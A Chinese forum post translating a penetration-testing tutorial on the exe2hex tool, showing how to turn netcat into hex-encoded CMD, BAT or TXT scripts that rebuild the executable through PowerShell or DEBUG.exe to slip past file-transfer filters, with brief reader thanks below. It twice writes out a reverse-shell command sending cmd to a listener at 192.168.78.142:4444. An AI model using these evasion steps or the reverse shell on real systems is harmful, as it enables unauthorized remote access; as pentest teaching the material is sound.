梦幻的彼岸 发表于 2022-3-5 12:19:16

[翻译][原创]绕过文件传输过滤器:Exe2Hex

本帖最后由 梦幻的彼岸 于 2022-3-7 17:44 编辑

备注作者: Harshit Rajpal翻译:梦幻的彼岸原文地址:https://www.hackingarticles.in/f ... ter-bypass-exe2hex/简介
Exe2hex是一个由g0tmilk开发的工具,可以在这里找到。该工具将EXE转录成一串十六进制字符串,这些字符串可以通过DEBUG.exe或Powershell还原成原始EXE文件。然后可以在受害者机器上执行这个脚本,再次构建一个EXE并执行它。这对于系统管理员阻止EXE文件的传输/下载/上传/电子邮件的高级渗透测试场景很有帮助。渗透测试人员可以使用这个工具绕过这些过滤器。在这篇文章中,我们展示了4种这样的方法。
目录
[*]背景介绍
[*]Exe2hex CMD脚本(PoSH方法)
[*]Exe2hex URL编码的CMD脚本(PoSH方法)
[*]Exe2hex BAT脚本(DEBUG.exe方法)
[*]Exe2hex STDIN到CMD脚本(PoSH方法)
[*]Exe2hex TXT文件(DEBUG和PoSH方法)
[*]总结


背景介绍
DEBUG.exe是Windows中默认可用的可执行文件,帮助用户排除程序的故障。它还有一个功能,就是可以将一系列十六进制的字符串还原成一个可执行文件。通过Powershell也可以实现同样的功能。方法非常简单:
第1步:选择一个EXE第2步:使用UPX对其进行压缩第3步:使用exe2hex将其转换为一个包含十六进制字符串的文件第4步:将该文件传输到受害者系统中第5步:将文件还原为exe并执行让我们从压缩一个exe文件开始。我们将使用一个名为UPX的工具。正如你所看到的,有许多选项可以压缩一个文件。我们将使用-9过滤器,通常提供50%的压缩率。
upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe

注意:你可以通过使用exe2hex工具的-cc过滤器来实现同样的目的。
Exe2hex CMD脚本(PoSH方法)
现在我们的exe已经被压缩,我们可以使用exe2hex将其转换为cmd文件。这个cmd文件有多个十六进制的字符串,你可以在下面看到。已经创建了一个参数P,将这些转换后的十六进制字符串附加到一个名为 "nc.hex "的临时文件中。

exe2hex -x nc.exe -p nc.cmd
head nc.cmd

在文件的末尾,你可以看到一个Powershell命令,它正在将十六进制字符串恢复到exe文件中,并删除nc.hex。
tail -n 3 nc.cmd

Exe2hex URL编码的CMD脚本(PoSH方法)
我们在上面看到的可以重复使用。同样的脚本也可以用-e选项进行URL编码。
exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd

现在,我们可以将这个CMD文件转移到受害者系统,并使用命令提示符执行它。正如你可能观察到的,在执行完成后,会生成一个压缩后的nc.exe文件。
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd

Exe2hex BAT脚本(DEBUG.exe方法)
到目前为止,我们已经看到了如何使用Powershell将十六进制还原成exe文件。以同样的方式,DEBUG.exe文件也可以被使用。Exe2hex可以像这样生成一个bat文件:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat

之后,你可以在windows上运行bat脚本,它将创建一个exe文件。如果它向你抛出一个错误,你需要在环境变量中添加DEBUG.exe的路径。正如你所看到的,nc.exe现在已经成为一个可执行文件了。


Exe2hex STDIN到CMD脚本(PoSH方法)
该工具还可以接受来自STDIN的输入。这在互联网上有一个可执行文件,需要使用curl/wget等工具下载,并且有过滤器来阻止它的情况下可能很有用。

cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd

-s过滤器选项负责从STDIN读取。用这个选项生成的cmd文件看起来有点不同,因为生成的文件名称是 "binary.hex",而最终的exe文件是 "binary.exe"

它现在可以运行了!

Exe2hex TXT文件(DEBUG和PoSH方法)

我们把最好的留到最后。该工具还可以转换EXE文件的十六进制字符串txt文件。这对于有高级过滤器的情况非常有用。

exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt


还有一个过滤器是-l过滤器选项,它指定了每一行的字节数。
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
现在,人们可以使用命令提示符在受害者机器上轻松地重命名该文件,或将其复制为不同的扩展名(可运行的脚本),然后像下面这样运行:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd

如果你尝试了上述的方法,你必须在你的kali机器上设置一个监听器,并尝试运行这个可执行文件。正如你所看到的,这个EXE文件已经正常工作了

总结

在渗透测试过程中,经历过许多场景,其中无论是代理还是WAF有一些文件的上传/下载过滤器。我们刚刚介绍了一种使用exe2hex绕过这些防御机制的方法。希望你喜欢这篇文章。谢谢你的阅读。
作者: Harshit Rajpal 是一名信息安全研究员和思想家,联系方式在这里










chishingchan 发表于 2022-3-5 16:24:49

这编码是原文件的2倍大小!使用BASE64编码是原文件的1.5倍大小!

chishingchan 发表于 2022-3-5 16:27:44


乐活 发表于 2022-3-5 20:28:17

慢慢学习研究下,多谢

tiantian89 发表于 2022-3-6 07:57:28

感谢楼主 学习了

onhawk 发表于 2022-3-7 09:04:17

谢谢分享,支持

1otus 发表于 2022-3-7 11:27:40

感谢楼主分享

onhawk 发表于 2022-3-8 08:43:00

谢谢分享,支持

f88u8 发表于 2022-3-9 13:07:49

真是高手,学习了
页: [1]
查看完整版本: [翻译][原创]绕过文件传输过滤器:Exe2Hex